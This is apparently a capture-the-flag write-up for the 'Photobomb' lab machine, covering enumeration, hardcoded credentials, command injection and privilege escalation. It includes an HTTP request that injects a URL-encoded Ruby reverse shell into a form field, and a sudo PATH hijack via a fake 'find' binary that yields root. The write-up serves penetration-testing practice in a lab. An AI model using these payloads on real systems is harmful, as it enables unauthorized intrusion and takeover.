Machine Info Card

Enumeration

Nmap

We start by running an nmap scan on the most common 1000 ports using the flag -sV to perform a service/version scan, and the -sC flag to perform a script scan using the default set of scripts:

$ nmap -sC -sV 10.129.74.222 
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-04 13:40 EST
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 13:40 (0:00:06 remaining)
Nmap scan report for 10.129.74.222
Host is up (0.047s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
|   256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_  256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.17 seconds

Port 80

We add photobomb.htb to /etc/hosts to resolve the vhost address:

$ echo -e "10.129.74.222\tphotobomb.htb" | sudo tee -a /etc/hosts
10.129.74.222   photobomb.htb

We take a look at what web technologies the website is using with whatweb:

$ whatweb http://photobomb.htb     
http://photobomb.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.74.222], Script, Title[Photobomb], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]

Looking at the source code, we find the photobomb.js script where there are credentials to login to the app:

view-source:http://photobomb.htb/:

<!DOCTYPE html>
<html>
<head>
  <title>Photobomb</title>
  <link type="text/css" rel="stylesheet" href="styles.css" media="all" />
  <script src="photobomb.js"></script>
</head>
<body>
  <div id="container">
    <header>
      <h1><a href="/">Photobomb</a></h1>
    </header>
    <article>
      <h2>Welcome to your new Photobomb franchise!</h2>
      <p>You will soon be making an amazing income selling premium photographic gifts.</p>
      <p>This state of-the-art web application is your gateway to this fantastic new life. Your wish is its command.</p>
      <p>To get started, please <a href="/printer" class="creds">click here!</a> (the credentials are in your welcome pack).</p>
      <p>If you have any problems with your printer, please call our Technical Support team on 4 4283 77468377.</p>
    </article>
  </div>
</body>
</html>

view-source:http://photobomb.htb/photobomb.js:

function init() {
  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
  }
}
window.onload = init;

Visiting http://pH0t0:b0Mb!@photobomb.htb/printer we login as user pH0t0.

Once in, we have the option of downloading images while specifying the size and the file type.

This is the HTTP POST request when downloading an image:

POST /printer HTTP/1.1
Host: photobomb.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
Origin: http://photobomb.htb
Authorization: Basic cEgwdDA6YjBNYiE=
Connection: close
Referer: http://photobomb.htb/printer
Upgrade-Insecure-Requests: 1

photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg&dimensions=3000x2000

Changing the filetype attribute to other extensions other than jpg or png gives us this response:

HTTP/1.1 500 Internal Server Error
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 04 Dec 2022 19:54:50 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 17
Connection: close
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

Invalid filetype.

Injecting the command sleep 10 after the second parameter, filetype=jpg;, gets us this response after 10 seconds:

HTTP/1.1 500 Internal Server Error
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 04 Dec 2022 20:33:15 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 67
Connection: close
Content-Disposition: attachment; filename=voicu-apostol-MWER49YaD-M-unsplash_3000x2000.jpg;sleep 10
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

Failed to generate a copy of voicu-apostol-MWER49YaD-M-unsplash.jpg

confirming that the second parameter is vulnerable to command injection.

Adding a new line after the second parameter, gets us this response:

HTTP/1.1 500 Internal Server Error
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 04 Dec 2022 19:59:35 GMT
Content-Type: text/html; charset=ISO-8859-1
Connection: close
Content-Length: 316

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<HTML>
  <HEAD><TITLE>Internal Server Error</TITLE></HEAD>
  <BODY>
    <H1>Internal Server Error</H1>
    WEBrick::HTTPResponse::InvalidHeader
    <HR>
    <ADDRESS>
     WEBrick/1.6.0 (Ruby/2.7.0/2019-12-25) at
     127.0.0.1:4567
    </ADDRESS>
  </BODY>
</HTML>

revealing that the HTTP server functionality is provided by the Ruby library WEBrick.

Getting a Shell

We start a netcat listener session:

$ nc -lvnp <PORT>
listening on [any] <PORT> ...

We try to inject the following URL encoded Ruby reverse shell command:

ruby+-rsocket+-e'spawn("sh",[%3ain,%3aout,%3aerr]%3d>TCPSocket.new("<OUR IP>",<PORT>))'

sending this request:

POST /printer HTTP/1.1
Host: photobomb.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Origin: http://photobomb.htb
Authorization: Basic cEgwdDA6YjBNYiE=
Connection: close
Referer: http://photobomb.htb/printer
Upgrade-Insecure-Requests: 1

photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg;ruby+-rsocket+-e'spawn("sh",[%3ain,%3aout,%3aerr]%3d>TCPSocket.new("<OUR IP>",<PORT>))'&dimensions=3000x2000

getting as a result a shell as the user wizard:

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.4] from (UNKNOWN) [10.129.74.222] 44636
id
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)

User Flag

We find the user flag in wizard’s home directory:

ls /home
wizard
ls /home/wizard 
photobomb
user.txt
cat /home/wizard/user.txt
c4e**************************afb

Privilege Escalation

We now check what we can do as root:

sudo -l 
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh

We can set an environment variable while executing the cleanup.sh script.

Here is the script:

cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

The script invokes find without specifying its full path.

Because of the SETENV directive, we can let the system invoke our own evil find to spawn a root shell.

We do this by setting the PATH environment variable to where the evil find is located while executing the cleanup.sh script.

We first create the evil find file:

echo "/bin/bash" > find
chmod +x find

and then we execute the script to get a root shell:

sudo PATH=$PWD:$PATH /opt/cleanup.sh
id
uid=0(root) gid=0(root) groups=0(root)

Root Flag

We can find the root flag in the root directory:

ls /root
root.txt
cat /root/root.txt
6b5**************************d41